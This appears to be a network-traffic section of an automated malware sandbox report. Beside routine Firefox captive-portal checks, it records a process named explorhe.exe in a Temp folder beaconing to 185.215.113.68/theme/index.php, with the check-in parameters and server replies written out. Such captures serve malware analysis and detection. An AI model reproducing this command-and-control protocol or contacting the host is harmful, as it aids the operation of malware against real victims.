Jan 18, 2024 00:34:55.442454100 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 17 Jan 2024 14:14:03 GMT Age: 33652 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jan 18, 2024 00:35:05.626137018 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:35:15.920114040 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:35:21.474159002 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jan 18, 2024 00:35:21.605936050 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 17 Jan 2024 14:14:03 GMT Age: 33678 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jan 18, 2024 00:35:21.696118116 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jan 18, 2024 00:35:21.825762033 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 17 Jan 2024 14:14:03 GMT Age: 33678 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jan 18, 2024 00:35:22.104886055 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jan 18, 2024 00:35:22.235023022 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 17 Jan 2024 14:14:03 GMT Age: 33679 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jan 18, 2024 00:35:32.247029066 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:35:36.925318003 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jan 18, 2024 00:35:37.057440996 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 17 Jan 2024 14:14:03 GMT Age: 33693 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jan 18, 2024 00:35:37.323156118 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jan 18, 2024 00:35:37.454194069 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 17 Jan 2024 14:14:03 GMT Age: 33694 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jan 18, 2024 00:35:37.877104998 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jan 18, 2024 00:35:38.007657051 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 17 Jan 2024 14:14:03 GMT Age: 33694 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49813	34.107.221.82	80	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:34:54.938689947 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jan 18, 2024 00:34:55.068205118 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 17 Jan 2024 15:41:24 GMT Age: 28411 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jan 18, 2024 00:34:55.825510979 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jan 18, 2024 00:34:55.956523895 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 17 Jan 2024 15:41:24 GMT Age: 28411 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jan 18, 2024 00:35:06.014345884 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:35:16.188245058 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:35:21.610079050 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jan 18, 2024 00:35:21.740497112 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 17 Jan 2024 15:41:24 GMT Age: 28437 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jan 18, 2024 00:35:21.832886934 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jan 18, 2024 00:35:21.962861061 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 17 Jan 2024 15:41:24 GMT Age: 28437 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jan 18, 2024 00:35:22.239228964 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jan 18, 2024 00:35:22.369154930 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 17 Jan 2024 15:41:24 GMT Age: 28438 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jan 18, 2024 00:35:32.385130882 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:35:37.322540998 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jan 18, 2024 00:35:37.453279972 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 17 Jan 2024 15:41:24 GMT Age: 28453 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jan 18, 2024 00:35:37.827848911 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jan 18, 2024 00:35:37.958455086 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 17 Jan 2024 15:41:24 GMT Age: 28453 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jan 18, 2024 00:35:38.255327940 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jan 18, 2024 00:35:38.384751081 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 17 Jan 2024 15:41:24 GMT Age: 28454 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49816	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:34:55.341696024 CET	154	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Jan 18, 2024 00:34:55.574368000 CET	719	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:34:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 30 0d 0a 20 2b 2b 2b 5f 31 5f 62 66 38 34 33 39 31 62 64 30 39 36 61 63 39 61 30 64 31 62 66 38 38 33 30 65 32 33 36 64 30 37 32 64 61 35 35 66 65 61 38 61 38 39 66 32 65 63 65 62 65 37 39 33 36 64 63 36 34 30 34 61 65 65 35 30 62 37 34 64 34 38 35 66 35 36 63 63 64 31 62 33 34 66 2d 31 2d 5f 32 5f 65 64 39 66 33 30 35 33 65 36 63 39 65 32 61 39 35 66 34 31 61 62 63 38 34 38 33 31 33 39 33 36 37 62 66 63 30 61 61 63 64 61 38 34 38 32 62 32 61 37 65 64 39 33 35 63 63 30 31 34 31 64 39 61 30 31 65 35 31 65 31 33 31 38 30 33 62 61 64 64 62 34 33 63 2d 32 2d 5f 33 5f 39 31 38 33 35 31 31 39 64 33 61 64 61 34 64 61 35 34 31 38 63 61 63 61 32 34 31 65 34 32 32 37 33 64 66 30 35 31 66 61 38 66 38 36 62 32 62 66 66 34 61 36 65 33 35 62 39 61 34 62 34 35 65 66 37 64 66 32 2d 33 2d 5f 34 5f 39 39 61 35 36 32 31 30 63 35 39 63 62 66 64 66 34 66 31 65 66 33 62 35 32 66 33 32 35 39 33 34 30 32 63 66 35 63 64 35 65 39 63 36 39 64 62 66 65 32 62 65 63 34 35 34 38 62 36 66 36 61 62 66 35 62 65 32 2d 34 2d 5f 35 5f 65 39 64 35 37 32 30 38 66 39 62 37 65 33 38 33 34 30 31 31 61 66 39 30 33 61 30 33 34 32 34 34 32 36 65 35 37 64 66 35 65 39 38 30 38 33 64 38 64 33 61 32 65 65 37 32 62 35 37 38 31 66 61 34 30 31 63 66 35 61 36 35 37 35 35 38 62 35 63 34 64 37 33 32 62 39 39 38 66 37 35 33 37 62 65 31 35 35 33 39 63 61 35 63 39 66 64 62 37 65 66 37 37 61 65 39 36 31 65 66 33 34 63 63 36 66 35 66 36 34 39 66 30 61 37 32 30 37 63 31 39 64 36 37 38 36 34 61 65 37 63 64 38 62 30 62 64 33 61 33 32 30 30 35 38 39 32 39 65 36 36 34 65 34 33 32 39 34 38 65 30 33 37 39 38 31 63 34 66 39 2d 35 2d 0d 0a 30 0d 0a 0d 0a Data Ascii: 210 +++_1_bf84391bd096ac9a0d1bf8830e236d072da55fea8a89f2ecebe7936dc6404aee50b74d485f56ccd1b34f-1-_2_ed9f3053e6c9e2a95f41abc8483139367bfc0aacda8482b2a7ed935cc0141d9a01e51e131803baddb43c-2-_3_91835119d3ada4da5418caca241e42273df051fa8f86b2bff4a6e35b9a4b45ef7df2-3-_4_99a56210c59cbfdf4f1ef3b52f32593402cf5cd5e9c69dbfe2bec4548b6f6abf5be2-4-_5_e9d57208f9b7e3834011af903a03424426e57df5e98083d8d3a2ee72b5781fa401cf5a657558b5c4d732b998f7537be15539ca5c9fdb7ef77ae961ef34cc6f5f649f0a7207c19d67864ae7cd8b0bd3a320058929e664e432948e037981c4f9-5-0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49838	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:34:56.984327078 CET	181	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000397001&unit=246122658369
Jan 18, 2024 00:34:57.225277901 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:34:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49870	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:00.132291079 CET	181	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 30 34 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000400001&unit=246122658369
Jan 18, 2024 00:35:00.373591900 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49877	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:00.737051010 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:00.970743895 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:00.976567030 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:01.216856003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49884	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:01.569689035 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:01.805355072 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:01.813803911 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:02.050910950 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49898	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:02.398575068 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:02.632318974 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:02.633955956 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:02.876138926 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49907	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:03.265366077 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:03.507186890 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:03.508344889 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:03.753047943 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49922	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:05.163772106 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
